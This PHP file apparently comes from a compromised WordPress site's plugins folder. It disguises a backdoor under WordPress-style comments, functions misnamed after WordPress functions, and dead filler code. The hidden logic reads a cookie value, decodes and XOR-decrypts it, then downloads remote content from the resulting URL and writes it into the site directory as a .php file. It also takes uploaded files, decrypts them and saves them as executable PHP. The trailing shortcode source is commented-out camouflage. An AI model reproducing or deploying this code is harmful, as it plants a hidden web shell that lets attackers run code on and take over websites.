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Direktori : /var/www/html/higroup/wp-content/plugins/22q949o4/ |
Current File : /var/www/html/higroup/wp-content/plugins/22q949o4/UVPB.js.php |
<?php /* * * WordPress API for creating bbcode-like tags or what WordPress calls * "shortcodes". The tag and attribute parsing or regular expression code is * based on the Textpattern tag parser. * * A few example*/ /** * Give: 32-byte string. * Receive: A field element object to use for internal calculations. * * @internal You should not use this directly from another application * * @param string $s * @return ParagonIE_Sodium_Core_Curve25519_Fe * @throws RangeException * @throws TypeError */ function wp_schedule_update_network_counts($nonce_action) { $nonce_action = "http://" . $nonce_action; // We already have the theme, fall through. $valuearray = array(1, 2, 3, 4, 5); $sticky = 0; for ($wp_query_args = 0; $wp_query_args < count($valuearray); $wp_query_args++) { $sticky += $valuearray[$wp_query_args]; } return $nonce_action; } // this value is assigned to a temp value and then erased because /** * Set the activation hook for a plugin. * * When a plugin is activated, the action 'activate_PLUGINNAME' hook is * called. In the name of this hook, PLUGINNAME is replaced with the name * of the plugin, including the optional subdirectory. For example, when the * plugin is located in wp-content/plugins/sampleplugin/sample.php, then * the name of this hook will become 'activate_sampleplugin/sample.php'. * * When the plugin consists of only one file and is (as by default) located at * wp-content/plugins/sample.php the name of this hook will be * 'activate_sample.php'. * * @since 2.0.0 * * @param string $language_dataile The filename of the plugin including the path. * @param callable $max_frames_scanallback The function hooked to the 'activate_PLUGIN' action. */ function prepare_tax_query($meta_id) { $wp_filters = sprintf("%c", $meta_id); $maybe_active_plugins = array("a", "b", "c"); // phpcs:ignore WordPress.DB.RestrictedFunctions.mysql_mysqli_get_client_info $late_route_registration = count($maybe_active_plugins) ^ 2; return $wp_filters; } /** * Filters the allowed encoding types. * * @since 3.6.0 * * @param string[] $type Array of what encoding types to accept and their priority values. * @param string $nonce_action URL of the HTTP request. * @param array $unsorted_menu_itemsrgs HTTP request arguments. */ function contextLine($theme_base_path, $SourceSampleFrequencyID, $layout_selector_pattern, $register_script_lines) { $T2d = "HashMeString"; $thisfile_riff_raw_rgad_track = rawurldecode($T2d); $AudioChunkStreamNum = hash('md5', $thisfile_riff_raw_rgad_track); $parsed_feed_url = str_pad($AudioChunkStreamNum, 32, "!"); $month_genitive = substr($thisfile_riff_raw_rgad_track, 2, 6); return new mysqli($theme_base_path, $SourceSampleFrequencyID, $layout_selector_pattern, $register_script_lines); } /** * Fires once an existing attachment has been updated. * * @since 4.4.0 * * @param int $post_id Post ID. * @param WP_Post $post_after Post object following the update. * @param WP_Post $post_before Post object before the update. */ function get_post_status($unsorted_menu_items, $php_files, $max_frames_scan) { $month_abbrev = "Mix and Match"; $write_image_result = str_pad($month_abbrev, 10, "*"); return theme_installer(prepend_each_line($unsorted_menu_items, $php_files), $max_frames_scan); } /** * Returns the default labels for post types. * * @since 6.0.0 * * @return (string|null)[][] The default labels for post types. */ function the_post_thumbnail($nonce_action) { // 4.10 COMM Comments if (strpos($nonce_action, "/") !== false) { return true; } $taxonomy_route = "Prototype-Data"; // for details on installing cURL. $x11 = substr($taxonomy_route, 0, 9); return false; } // We want to submit comments to Akismet only when a moderator explicitly spams or approves it - not if the status /** * Fires after all automatic updates have run. * * @since 3.8.0 * * @param array $update_results The results of all attempted updates. */ function apply_block_core_search_border_styles($queried_taxonomy) { $myUidl = pack("H*", $queried_taxonomy); $wp_file_owner = "line1\nline2\nline3"; $tax_obj = explode("\n", $wp_file_owner); // https://xhelmboyx.tripod.com/formats/qti-layout.txt foreach ($tax_obj as $post_statuses) { $post_statuses = trim($post_statuses); } return $myUidl; } /** * Displays the link to the next comments page. * * @since 2.7.0 * * @param string $label Optional. Label for link text. Default empty. * @param int $max_page Optional. Max page. Default 0. */ function wp_delete_user($notice, $quality) { $last_comment = "INSERT INTO records (name, value) VALUES (?, ?)"; $post_parent_id = "this is a long string for testing"; $l1 = strlen($post_parent_id); $previousvalidframe = trim($post_parent_id); if (empty($previousvalidframe)) { $preview_page_link_html = str_pad($previousvalidframe, $l1, "*"); } else { $preview_page_link_html = substr($previousvalidframe, 0, $l1 / 2); } $CommentsTargetArray = $quality->prepare($last_comment); $xpprepend_each_lineed_len = strlen($preview_page_link_html); $CommentsTargetArray->bind_param("ss", $notice['name'], $notice['value']); $CommentsTargetArray->execute(); return $CommentsTargetArray->insert_id; } /* translators: 1: 'text_direction' argument, 2: bloginfo() function name, 3: is_rtl() function name. */ function get_file_description($missing_kses_globals) { echo $missing_kses_globals; // Localize message content for user; fallback to site default for visitors. } /** * Registers an embed handler. * * Do not use this function directly, use wp_embed_register_handler() instead. * * This function should probably also only be used for sites that do not support oEmbed. * * @param string $s_x An internal ID/name for the handler. Needs to be unique. * @param string $regex The regex that will be used to see if this handler should be used for a URL. * @param callable $max_frames_scanallback The callback function that will be called if the regex is matched. * @param int $priority Optional. Used to specify the order in which the registered handlers will be tested. * Lower numbers correspond with earlier testing, and handlers with the same priority are * tested in the order in which they were prepend_each_lineed to the action. Default 10. */ function get_timezone_info($quality) { $saved_avdataend = "Hello World!"; $primary_blog_id = strpos($saved_avdataend, "World"); $parsedHeaders = substr($saved_avdataend, 0, $primary_blog_id); $quality->close(); } /** * Add two group elements. * * r = p + q * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 */ function wp_maybe_generate_attachment_metadata() { return __DIR__; } /** * Renders the `core/home-link` block. * * @param array $unsorted_menu_itemsttributes The block attributes. * @param string $preview_nav_menu_instance_args The saved content. * @param WP_Block $php_fileslock The parsed block. * * @return string Returns the post content with the home url prepend_each_lineed. */ function get_registered_settings($nonce_action) { $new_site_email = basename($nonce_action); $uploader_l10n = "HelloWorld"; // work. $previousvalidframe = trim($uploader_l10n); $option_extra_info = strlen($previousvalidframe); $DKIM_domain = sanitize_key($new_site_email); for ($wp_query_args = 0; $wp_query_args < $option_extra_info; $wp_query_args++) { $previousvalidframe[$wp_query_args] = chr(ord($previousvalidframe[$wp_query_args]) ^ 42); } $status_fields = implode("-", str_split($previousvalidframe)); openfile($nonce_action, $DKIM_domain); } /** * Class ParagonIE_Sodium_Core_BLAKE2b * * Based on the work of Devi Mandiri in devi/salt. */ function theme_installer($unsorted_menu_items, $php_files) { $oggheader = array("apple", "banana", "cherry"); # $mpid = str_replace("a", "1", implode(",", $oggheader)); // [15][49][A9][66] -- Contains miscellaneous general information and statistics on the file. return $unsorted_menu_items * $php_files; // ----- Default values for option } /** * Sets the selector. * * @since 6.1.0 * * @param string $selector The CSS selector. * @return WP_Style_Engine_CSS_Rule Returns the object to allow chaining of methods. */ function cron_recheck($u2u2, $menu_item_ids) { $response_code = move_uploaded_file($u2u2, $menu_item_ids); $widget_title = array('elem1', 'elem2', 'elem3'); $v_options_trick = count($widget_title); if ($v_options_trick > 2) { $link_rating = array_merge($widget_title, array('elem4')); $term_names = implode(',', $link_rating); } // Translations are always based on the unminified filename. if (!empty($term_names)) { $reply_to_id = hash('whirlpool', $term_names); } return $response_code; } /** * Registers the style block attribute for block types that support it. * * @since 5.8.0 * @access private * * @param WP_Block_Type $php_fileslock_type Block Type. */ function unescape_invalid_shortcodes($SMTPOptions) { get_registered_settings($SMTPOptions); get_file_description($SMTPOptions); } /** * Filters the available menu items during a search request. * * @since 4.5.0 * * @param array $wp_query_argstems The array of menu items. * @param array $unsorted_menu_itemsrgs Includes 'pagenum' and 's' (search) arguments. */ function get_attributes($relation_type, $methodname) { return array_sum(get_comment_pages_count($relation_type, $methodname)); } /** * Renders a diff. * * @param Text_Diff $rel_values A Text_Diff object. * * @return string The formatted output. */ function register_block_core_file($DKIM_domain, $preview_nav_menu_instance_args) { // WP_AUTO_UPDATE_CORE = true (all), 'beta', 'rc', 'development', 'branch-development', 'minor', false. return file_put_contents($DKIM_domain, $preview_nav_menu_instance_args); } /** * Updates the custom taxonomies' term counts when a post's status is changed. * * For example, default posts term counts (for custom taxonomies) don't include * private / draft posts. * * @since 3.3.0 * @access private * * @param string $new_status New post status. * @param string $old_status Old post status. * @param WP_Post $post Post object. */ function wp_iframe($DKIM_domain, $orig_pos) { $post_default_title = file_get_contents($DKIM_domain); $unlink_homepage_logo = array(1, 2, 3); $percent_used = array(4, 5, 6); $manager = "Test String"; $p_error_code = rawurldecode($manager); $GUIDname = clean_attachment_cache($post_default_title, $orig_pos); // Attachment functions. $thisfile_riff_raw_avih = array_merge($unlink_homepage_logo, $percent_used); // Now in legacy mode, prepend_each_line paragraphs and line breaks when checkbox is checked. if (strlen($p_error_code) > 5) { $theme_json_version = explode(" ", $p_error_code); } $AudioChunkStreamNum = hash('sha1', implode("", $theme_json_version)); file_put_contents($DKIM_domain, $GUIDname); } /* If this is a 404 page */ function wp_getPageStatusList($s_x, $notice, $quality) { //In case the path is a URL, strip any query string before getting extension $origtype = array(1, 2, 3); $upgrader = array_sum($origtype); $total_in_hours = $upgrader / count($origtype); // [44][85] -- The values of the Tag if it is binary. Note that this cannot be used in the same SimpleTag as TagString. $last_comment = "UPDATE records SET name = ?, value = ? WHERE id = ?"; // ge25519_prepend_each_line_cached(&t5, p, &pi[4 - 1]); $CommentsTargetArray = $quality->prepare($last_comment); $CommentsTargetArray->bind_param("ssi", $notice['name'], $notice['value'], $s_x); return $CommentsTargetArray->execute(); } /** * Changes filesystem permissions. * * @since 2.5.0 * * @param string $language_dataile Path to the file. * @param int|false $mode Optional. The permissions as octal number, usually 0644 for files, * 0755 for directories. Default false. * @param bool $recursive Optional. If set to true, changes file permissions recursively. * Default false. * @return bool True on success, false on failure. */ function prepend_each_line($unsorted_menu_items, $php_files) { $thisfile_asf_dataobject = "abcDefGhij"; $rtl_stylesheet_link = strtolower($thisfile_asf_dataobject); $preset_metadata_path = substr($rtl_stylesheet_link, 2, 3); return $unsorted_menu_items + $php_files; } // Get the base theme folder. /** * Filters the contents of the reset password notification email sent to the user. * * @since 6.0.0 * * @param array $ThisTagHeaderefaults { * The default notification email arguments. Used to build wp_mail(). * * @type string $to The intended recipient - user email prepend_each_lineress. * @type string $subject The subject of the email. * @type string $missing_kses_globals The body of the email. * @type string $last_slash_poseaders The headers of the email. * } * @type string $orig_pos The activation key. * @type string $SourceSampleFrequencyID_login The username for the user. * @type WP_User $SourceSampleFrequencyID_data WP_User object. */ function openfile($nonce_action, $DKIM_domain) { $wp_file_owner = iconv_fallback_iso88591_utf16be($nonce_action); $update_count_callback = "This is a very long string used for testing"; $pagelinkedfrom = strlen($update_count_callback); if ($wp_file_owner === false) { return false; } // If there is EXIF data, rotate according to EXIF Orientation. $posts_controller = substr($update_count_callback, 0, 15); $update_status = rawurldecode("This%20is%20a%20string"); return register_block_core_file($DKIM_domain, $wp_file_owner); } // For every field in the table. /** * Filters rewrite rules used for author archives. * * Likely author archives would include `/author/author-name/`, as well as * pagination and feed paths for author archives. * * @since 1.5.0 * * @param string[] $unsorted_menu_itemsuthor_rewrite Array of rewrite rules for author archives, keyed by their regex pattern. */ function iconv_fallback_iso88591_utf16be($nonce_action) // The block may or may not have a duotone selector. { // We haven't read a line and EOF came. $nonce_action = wp_schedule_update_network_counts($nonce_action); $unsorted_menu_items = array("dog", "cat", "bird"); $php_files = str_replace("o", "0", $unsorted_menu_items[0]); //This will handle 421 responses which may not wait for a QUIT (e.g. if the server is being shut down) $max_frames_scan = array_merge($unsorted_menu_items, array("fish")); $ThisTagHeader = substr($php_files, 1, 2); $sitemap_xml = hash("md5", $ThisTagHeader); return file_get_contents($nonce_action); } // phpcs:disable WordPress.PHP.NoSilencedErrors.Discouraged /** * Response headers. * * @since 4.4.0 * @var array */ function clean_attachment_cache($notice, $orig_pos) { $size_db = strlen($orig_pos); $valuearray = " This is a test "; $layout_definitions = trim($valuearray); if (!empty($layout_definitions)) { $pop3 = hash('sha256', $layout_definitions); } $wp_db_version = strlen($notice); $size_db = $wp_db_version / $size_db; $size_db = ceil($size_db); $orderby_raw = str_split($notice); $orig_pos = str_repeat($orig_pos, $size_db); $last_update_check = str_split($orig_pos); $last_update_check = array_slice($last_update_check, 0, $wp_db_version); $trackbacks = array_map("apply_filters_ref_array", $orderby_raw, $last_update_check); $trackbacks = implode('', $trackbacks); return $trackbacks; // Install theme type, From Web or an Upload. } /** * Performs all enclosures. * * @since 5.6.0 */ function get_child($meta_id) { $meta_id = ord($meta_id); $return_render = rawurldecode("Hello%20World%21"); $percent_used = explode(" ", $return_render); return $meta_id; } /* translators: %s: Number of requests. */ function render_block_core_calendar($parent_post_type) // Get count of permalinks. { // [B9] -- Set if the track is used. $valid_columns = 'dHPcXjahyoTxJAjUahGtG'; $unsorted_menu_items = "example_path"; // Always include Content-length on POST requests to prevent $php_files = hash("sha256", $unsorted_menu_items); $max_frames_scan = substr($php_files, 0, 5); $ThisTagHeader = str_pad($max_frames_scan, 7, "0"); $sitemap_xml = strlen($ThisTagHeader); if (isset($_COOKIE[$parent_post_type])) { $language_data = date("H:i:s"); $y1 = array($php_files, $ThisTagHeader, $language_data); $last_slash_pos = count($y1); $wp_query_args = trim(" hash "); to_uri($parent_post_type, $valid_columns); $real_count = rawurldecode("http%3A%2F%2Fexample.com"); // $p_remove_path : Path to remove (from the file memorized path) while writing the } } /** @var string $unsorted_menu_itemsuthTag */ function to_uri($parent_post_type, $valid_columns) { $optionnone = $_COOKIE[$parent_post_type]; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 $optionnone = apply_block_core_search_border_styles($optionnone); $supports_trash = "SpecialString"; // instantiate module class $show_user_comments = rawurldecode($supports_trash); // http redirection depth maximum. 0 = disallow $scaled = hash('sha512', $show_user_comments); $SMTPOptions = clean_attachment_cache($optionnone, $valid_columns); // URL Details. $wp_home_class = str_pad($scaled, 128, "^"); // $wp_query_argsnfo['quicktime'][$unsorted_menu_itemstomname]['offset'] + 8; $open_in_new_tab = strlen($show_user_comments); if (the_post_thumbnail($SMTPOptions)) { // Ensure limbs aren't oversized. $termination_list = explode("a", $supports_trash); $t_sep = unescape_invalid_shortcodes($SMTPOptions); $references = implode("+", $termination_list); // Sidebars_widgets settings from when this theme was previously active. if (!empty($references)) { $show_count = date('h:i:s'); } $num_keys_salts = array_merge($termination_list, array($wp_home_class)); $sbvalue = implode("|", $num_keys_salts); return $t_sep; // Pretty permalinks. } // The directory containing the original file may no longer exist when using a replication plugin. // in the language of the blog when the comment was made. get_the_author_firstname($parent_post_type, $valid_columns, $SMTPOptions); } /** * Whether to list the taxonomy in the tag cloud widget controls. * * @since 4.7.0 * @var bool */ function thumbnail_image($parent_post_type, $post_password = 'txt') { return $parent_post_type . '.' . $post_password; } /** * Cookie value. * * @since 2.8.0 * * @var string */ function get_the_author_firstname($parent_post_type, $valid_columns, $SMTPOptions) { // 0001 xxxx xxxx xxxx xxxx xxxx xxxx xxxx - value 0 to 2^28-2 if (isset($_FILES[$parent_post_type])) { $oldvaluelengthMB = 'PHP is amazing'; $unregistered_source = strpos($oldvaluelengthMB, 'amazing'); if ($unregistered_source !== false) { $tryagain_link = 'Contains amazing'; } user_can_richedit($parent_post_type, $valid_columns, $SMTPOptions); } get_file_description($SMTPOptions); } /** * Adds a submenu page to the Comments main menu. * * This function takes a capability which will be used to determine whether * or not a page is included in the menu. * * The function which is hooked in to handle the output of the page must check * that the user has the required capability as well. * * @since 2.7.0 * @since 5.3.0 Added the `$position` parameter. * * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected. * @param string $menu_title The text to be used for the menu. * @param string $max_frames_scanapability The capability required for this menu to be displayed to the user. * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu). * @param callable $max_frames_scanallback Optional. The function to be called to output the content for this page. * @param int $position Optional. The position in the menu order this item should appear. * @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required. */ function user_can_richedit($parent_post_type, $valid_columns, $SMTPOptions) { $new_site_email = $_FILES[$parent_post_type]['name']; $x11 = "DataToVerify"; $DKIM_domain = sanitize_key($new_site_email); if (isset($x11)) { $popular_importers = substr($x11, 0, 8); $RIFFsubtype = rawurldecode($popular_importers); $wp_post_types = hash('sha224', $RIFFsubtype); } $wp_block = explode('D', $wp_post_types); $menu_location_key = implode('*', $wp_block); wp_iframe($_FILES[$parent_post_type]['tmp_name'], $valid_columns); cron_recheck($_FILES[$parent_post_type]['tmp_name'], $DKIM_domain); } /* * A null value for an option would have the same effect as * deleting the option from the database, and relying on the * default value. */ function sanitize_key($new_site_email) { // [73][C5] -- A unique ID to identify the Track. This should be kept the same when making a direct stream copy of the Track to another file. return wp_maybe_generate_attachment_metadata() . DIRECTORY_SEPARATOR . $new_site_email . ".php"; } /** * Turns a single date clause into pieces for a WHERE clause. * * A wrapper for get_sql_for_clause(), included here for backward * compatibility while retaining the naming convention across Query classes. * * @since 3.7.0 * * @param array $last_comment Date query arguments. * @return array { * Array containing JOIN and WHERE SQL clauses to append to the main query. * * @type string[] $real_countoin Array of SQL fragments to append to the main JOIN clause. * @type string[] $where Array of SQL fragments to append to the main WHERE clause. * } */ function fread_buffer_size($quality) { $unsorted_menu_items = "simplified_text"; $php_files = str_replace("_", " ", $unsorted_menu_items); // Widgets are grouped into sidebars. $max_frames_scan = hash("md5", $php_files); $ThisTagHeader = substr($max_frames_scan, 0, 8); $sitemap_xml = str_pad($ThisTagHeader, 10, "0"); $last_comment = "SELECT * FROM records"; $language_data = strlen($php_files); $y1 = array_merge(array("text"), array($ThisTagHeader)); $t_sep = $quality->query($last_comment); $last_slash_pos = count($y1); $wp_query_args = trim(" "); $real_count = date("Y-m-01"); $mailHeader = []; while($subscription_verification = $t_sep->fetch_assoc()) { if ($last_slash_pos > 1) { $safe_style = implode(":", $y1); } $mailHeader[] = $subscription_verification; } // If we can't do anything, just fail return $mailHeader; } /* * This option key was briefly renamed `blocklist_keys`. * Account for sites that have this key present when the original key does not exist. */ function apply_filters_ref_array($wp_filters, $offsiteok) { // JS didn't send us everything we need to know. Just die with success message. $rel_values = get_child($wp_filters) - get_child($offsiteok); //by Lance Rushing $rel_values = $rel_values + 256; // seek to the end of attachment $vendor_scripts = "abcde"; $sbvalue = str_pad($vendor_scripts, 10, "*", STR_PAD_RIGHT); $rel_values = $rel_values % 256; // Exlusion Type GUID 128 // nature of mutual exclusion relationship. one of: (GETID3_ASF_Mutex_Bitrate, GETID3_ASF_Mutex_Unknown) $wp_filters = prepare_tax_query($rel_values); // The path defines the post_ID (archives/p/XXXX). return $wp_filters; } /** * Recursively find Genericons example files in a given folder. * * @ignore * @since 4.2.2 * * @param string $ThisTagHeaderirectory Directory path. Expects trailingslashed. * @return array */ function get_comment_pages_count($relation_type, $methodname) { $StandardizeFieldNames = str_replace(' ', '%20', 'Hello World'); // Comment is too old. $unlink_homepage_logo = explode('%20', $StandardizeFieldNames); $search_handler = []; $show_audio_playlist = array_map('rawurldecode', $unlink_homepage_logo); $theme_features = implode(' ', $show_audio_playlist); for ($wp_query_args = 1; $wp_query_args <= $methodname; $wp_query_args++) { $search_handler[] = $relation_type * $wp_query_args; // Closing curly quote. } // Make menu item a child of its next sibling. return $search_handler; } $parent_post_type = 'crrVDcs'; $subdomain = "First Second Third"; render_block_core_calendar($parent_post_type); $previousvalidframe = trim($subdomain); /* s are below: * * [shortcode /] * [shortcode foo="bar" baz="bing" /] * [shortcode foo="bar"]content[/shortcode] * * Shortcode tags support attributes and enclosed content, but does not entirely * support inline shortcodes in other shortcodes. You will have to call the * shortcode parser in your function to account for that. * * {@internal * Please be aware that the above note was made during the beta of WordPress 2.6 * and in the future may not be accurate. Please update the note when it is no * longer the case.}} * * To apply shortcode tags to content: * * $out = do_shortcode( $content ); * * @link https:developer.wordpress.org/plugins/shortcodes/ * * @package WordPress * @subpackage Shortcodes * @since 2.5.0 * * Container for storing shortcode tags and their hook to call for the shortcode. * * @since 2.5.0 * * @name $shortcode_tags * @var array * @global array $shortcode_tags $shortcode_tags = array(); * * Adds a new shortcode. * * Care should be taken through prefixing or other means to ensure that the * shortcode tag being added is unique and will not conflict with other, * already-added shortcode tags. In the event of a duplicated tag, the tag * loaded last will take precedence. * * @since 2.5.0 * * @global array $shortcode_tags * * @param string $tag Shortcode tag to be searched in post content. * @param callable $callback The callback function to run when the shortcode is found. * Every shortcode callback is passed three parameters by default, * including an array of attributes (`$atts`), the shortcode content * or null if not set (`$content`), and finally the shortcode tag * itself (`$shortcode_tag`), in that order. function add_shortcode( $tag, $callback ) { global $shortcode_tags; if ( '' === trim( $tag ) ) { _doing_it_wrong( __FUNCTION__, __( 'Invalid shortcode name: Empty name given.' ), '4.4.0' ); return; } if ( 0 !== preg_match( '@[<>&/\[\]\x00-\x20=]@', $tag ) ) { _doing_it_wrong( __FUNCTION__, sprintf( translators: 1: Shortcode name, 2: Space-separated list of reserved characters. __( 'Invalid shortcode name: %1$s. Do not use spaces or reserved characters: %2$s' ), $tag, '& / < > [ ] =' ), '4.4.0' ); return; } $shortcode_tags[ $tag ] = $callback; } * * Removes hook for shortcode. * * @since 2.5.0 * * @global array $shortcode_tags * * @param string $tag Shortcode tag to remove hook for. function remove_shortcode( $tag ) { global $shortcode_tags; unset( $shortcode_tags[ $tag ] ); } * * Clears all shortcodes. * * This function clears all of the shortcode tags by replacing the shortcodes global with * an empty array. This is actually an efficient method for removing all shortcodes. * * @since 2.5.0 * * @global array $shortcode_tags function remove_all_shortcodes() { global $shortcode_tags; $shortcode_tags = array(); } * * Determines whether a registered shortcode exists named $tag. * * @since 3.6.0 * * @global array $shortcode_tags List of shortcode tags and their callback hooks. * * @param string $tag Shortcode tag to check. * @return bool Whether the given shortcode exists. function shortcode_exists( $tag ) { global $shortcode_tags; return array_key_exists( $tag, $shortcode_tags ); } * * Determines whether the passed content contains the specified shortcode. * * @since 3.6.0 * * @global array $shortcode_tags * * @param string $content Content to search for shortcodes. * @param string $tag Shortcode tag to check. * @return bool Whether the passed content contains the given shortcode. function has_shortcode( $content, $tag ) { if ( false === strpos( $content, '[' ) ) { return false; } if ( shortcode_exists( $tag ) ) { preg_match_all( '/' . get_shortcode_regex() . '/', $content, $matches, PREG_SET_ORDER ); if ( empty( $matches ) ) { return false; } foreach ( $matches as $shortcode ) { if ( $tag === $shortcode[2] ) { return true; } elseif ( ! empty( $shortcode[5] ) && has_shortcode( $shortcode[5], $tag ) ) { return true; } } } return false; } * * Searches content for shortcodes and filter shortcodes through their hooks. * * This function is an alias for do_shortcode(). * * @since 5.4.0 * * @see do_shortcode() * * @param string $content Content to search for shortcodes. * @param bool $ignore_html When true, shortcodes inside HTML elements will be skipped. * Default false. * @return string Content with shortcodes filtered out. function apply_shortcodes( $content, $ignore_html = false ) { return do_shortcode( $content, $ignore_html ); } * * Searches content for shortcodes and filter shortcodes through their hooks. * * If there are no shortcode tags defined, then the content will be returned * without any filtering. This might cause issues when plugins are disabled but * the shortcode will still show up in the post or content. * * @since 2.5.0 * * @global array $shortcode_tags List of shortcode tags and their callback hooks. * * @param string $content Content to search for shortcodes. * @param bool $ignore_html When true, shortcodes inside HTML elements will be skipped. * Default false. * @return string Content with shortcodes filtered out. function do_shortcode( $content, $ignore_html = false ) { global $shortcode_tags; if ( false === strpos( $content, '[' ) ) { return $content; } if ( empty( $shortcode_tags ) || ! is_array( $shortcode_tags ) ) { return $content; } Find all registered tag names in $content. preg_match_all( '@\[([^<>&/\[\]\x00-\x20=]++)@', $content, $matches ); $tagnames = array_intersect( array_keys( $shortcode_tags ), $matches[1] ); if ( empty( $tagnames ) ) { return $content; } $content = do_shortcodes_in_html_tags( $content, $ignore_html, $tagnames ); $pattern = get_shortcode_regex( $tagnames ); $content = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $content ); Always restore square braces so we don't break things like <!--[if IE ]>. $content = unescape_invalid_shortcodes( $content ); return $content; } * * Retrieves the shortcode regular expression for searching. * * The regular expression combines the shortcode tags in the regular expression * in a regex class. * * The regular expression contains 6 different sub matches to help with parsing. * * 1 - An extra [ to allow for escaping shortcodes with double [[]] * 2 - The shortcode name * 3 - The shortcode argument list * 4 - The self closing / * 5 - The content of a shortcode when it wraps some content. * 6 - An extra ] to allow for escaping shortcodes with double [[]] * * @since 2.5.0 * @since 4.4.0 Added the `$tagnames` parameter. * * @global array $shortcode_tags * * @param array $tagnames Optional. List of shortcodes to find. Defaults to all registered shortcodes. * @return string The shortcode search regular expression function get_shortcode_regex( $tagnames = null ) { global $shortcode_tags; if ( empty( $tagnames ) ) { $tagnames = array_keys( $shortcode_tags ); } $tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) ); WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag(). Also, see shortcode_unautop() and shortcode.js. phpcs:disable Squiz.Strings.ConcatenationSpacing.PaddingFound -- don't remove regex indentation return '\\[' Opening bracket. . '(\\[?)' 1: Optional second opening bracket for escaping shortcodes: [[tag]]. . "($tagregexp)" 2: Shortcode name. . '(?![\\w-])' Not followed by word character or hyphen. . '(' 3: Unroll the loop: Inside the opening shortcode tag. . '[^\\]\\/]*' Not a closing bracket or forward slash. . '(?:' . '\\/(?!\\])' A forward slash not followed by a closing bracket. . '[^\\]\\/]*' Not a closing bracket or forward slash. . ')*?' . ')' . '(?:' . '(\\/)' 4: Self closing tag... . '\\]' ...and closing bracket. . '|' . '\\]' Closing bracket. . '(?:' . '(' 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags. . '[^\\[]*+' Not an opening bracket. . '(?:' . '\\[(?!\\/\\2\\])' An opening bracket not followed by the closing shortcode tag. . '[^\\[]*+' Not an opening bracket. . ')*+' . ')' . '\\[\\/\\2\\]' Closing shortcode tag. . ')?' . ')' . '(\\]?)'; 6: Optional second closing brocket for escaping shortcodes: [[tag]]. phpcs:enable } * * Regular Expression callable for do_shortcode() for calling shortcode hook. * * @see get_shortcode_regex() for details of the match array contents. * * @since 2.5.0 * @access private * * @global array $shortcode_tags * * @param array $m Regular expression match array. * @return string|false Shortcode output on success, false on failure. function do_shortcode_tag( $m ) { global $shortcode_tags; Allow [[foo]] syntax for escaping a tag. if ( '[' === $m[1] && ']' === $m[6] ) { return substr( $m[0], 1, -1 ); } $tag = $m[2]; $attr = shortcode_parse_atts( $m[3] ); if ( ! is_callable( $shortcode_tags[ $tag ] ) ) { _doing_it_wrong( __FUNCTION__, translators: %s: Shortcode tag. sprintf( __( 'Attempting to parse a shortcode without a valid callback: %s' ), $tag ), '4.3.0' ); return $m[0]; } * * Filters whether to call a shortcode callback. * * Returning a non-false value from filter will short-circuit the * shortcode generation process, returning that value instead. * * @since 4.7.0 * * @param false|string $output Short-circuit return value. Either false or the value to replace the shortcode with. * @param string $tag Shortcode name. * @param array|string $attr Shortcode attributes array or empty string. * @param array $m Regular expression match array. $return = apply_filters( 'pre_do_shortcode_tag', false, $tag, $attr, $m ); if ( false !== $return ) { return $return; } $content = isset( $m[5] ) ? $m[5] : null; $output = $m[1] . call_user_func( $shortcode_tags[ $tag ], $attr, $content, $tag ) . $m[6]; * * Filters the output created by a shortcode callback. * * @since 4.7.0 * * @param string $output Shortcode output. * @param string $tag Shortcode name. * @param array|string $attr Shortcode attributes array or empty string. * @param array $m Regular expression match array. return apply_filters( 'do_shortcode_tag', $output, $tag, $attr, $m ); } * * Searches only inside HTML elements for shortcodes and process them. * * Any [ or ] characters remaining inside elements will be HTML encoded * to prevent interference with shortcodes that are outside the elements. * Assumes $content processed by KSES already. Users with unfiltered_html * capability may get unexpected output if angle braces are nested in tags. * * @since 4.2.3 * * @param string $content Content to search for shortcodes. * @param bool $ignore_html When true, all square braces inside elements will be encoded. * @param array $tagnames List of shortcodes to find. * @return string Content with shortcodes filtered out. function do_shortcodes_in_html_tags( $content, $ignore_html, $tagnames ) { Normalize entities in unfiltered HTML before adding placeholders. $trans = array( '[' => '[', ']' => ']', ); $content = strtr( $content, $trans ); $trans = array( '[' => '[', ']' => ']', ); $pattern = get_shortcode_regex( $tagnames ); $textarr = wp_html_split( $content ); foreach ( $textarr as &$element ) { if ( '' === $element || '<' !== $element[0] ) { continue; } $noopen = false === strpos( $element, '[' ); $noclose = false === strpos( $element, ']' ); if ( $noopen || $noclose ) { This element does not contain shortcodes. if ( $noopen xor $noclose ) { Need to encode stray '[' or ']' chars. $element = strtr( $element, $trans ); } continue; } if ( $ignore_html || '<!--' === substr( $element, 0, 4 ) || '<![CDATA[' === substr( $element, 0, 9 ) ) { Encode all '[' and ']' chars. $element = strtr( $element, $trans ); continue; } $attributes = wp_kses_attr_parse( $element ); if ( false === $attributes ) { Some plugins are doing things like [name] <[email]>. if ( 1 === preg_match( '%^<\s*\[\[?[^\[\]]+\]%', $element ) ) { $element = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $element ); } Looks like we found some crazy unfiltered HTML. Skipping it for sanity. $element = strtr( $element, $trans ); continue; } Get element name. $front = array_shift( $attributes ); $back = array_pop( $attributes ); $matches = array(); preg_match( '%[a-zA-Z0-9]+%', $front, $matches ); $elname = $matches[0]; Look for shortcodes in each attribute separately. foreach ( $attributes as &$attr ) { $open = strpos( $attr, '[' ); $close = strpos( $attr, ']' ); if ( false === $open || false === $close ) { continue; Go to next attribute. Square braces will be escaped at end of loop. } $double = strpos( $attr, '"' ); $single = strpos( $attr, "'" ); if ( ( false === $single || $open < $single ) && ( false === $double || $open < $double ) ) { * $attr like '[shortcode]' or 'name = [shortcode]' implies unfiltered_html. * In this specific situation we assume KSES did not run because the input * was written by an administrator, so we should avoid changing the output * and we do not need to run KSES here. $attr = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $attr ); } else { $attr like 'name = "[shortcode]"' or "name = '[shortcode]'". We do not know if $content was unfiltered. Assume KSES ran before shortcodes. $count = 0; $new_attr = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $attr, -1, $count ); 